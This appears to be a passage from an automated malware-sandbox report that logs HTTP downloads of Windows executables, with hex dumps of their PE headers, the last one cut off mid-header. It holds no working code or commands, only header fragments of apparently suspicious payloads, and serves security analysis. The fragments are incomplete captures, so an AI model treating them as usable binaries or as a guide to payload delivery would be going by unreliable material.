Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 11:59:22 GMTContent-Type: application/octet-streamContent-Length: 2459136Last-Modified: Fri, 24 Nov 2023 13:43:06 GMTConnection: keep-aliveETag: "6560a86a-258600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 25 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 db 23 00 f1 36 00 00 9c a2 24 00 28 00 00 00 00 d0 24 00 cc 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 24 00 88 e2 00 00 60 b2 23 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 b1 23 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 d3 20 00 00 10 00 00 00 d4 20 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 91 22 03 00 00 f0 20 00 00 24 03 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 7c 00 00 00 20 24 00 00 62 00 00 00 fc 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b4 10 00 00 00 a0 24 00 00 12 00 00 00 5e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 24 00 00 02 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 cc 12 00 00 00 d0 24 00 00 14 00 00 00 72 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 35 ff 00 00 00 f0 24 00 00 00 01 00 00 86 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 11:59:26 GMTContent-Type: application/octet-streamContent-Length: 685392Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-a7550"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 11:59:27 GMTContent-Type: application/octet-streamContent-Length: 608080Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-94750"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 11:59:28 GMTContent-Type: application/octet-streamContent-Length: 450024Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-6dde8"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 11:59:28 GMTContent-Type: application/octet-streamContent-Length: 257872Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-3ef50"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 11:59:28 GMTContent-Type: application/octet-streamContent-Length: 80880Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-13bf0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 11:59:29 GMTContent-Type: application/octet-streamContent-Length: 2046288Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-1f3950"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 11:59:38 GMTContent-Type: application/octet-streamContent-Length: 380456Last-Modified: Mon, 30 Sep 2024 04:37:24 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fa2b04-5ce28"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 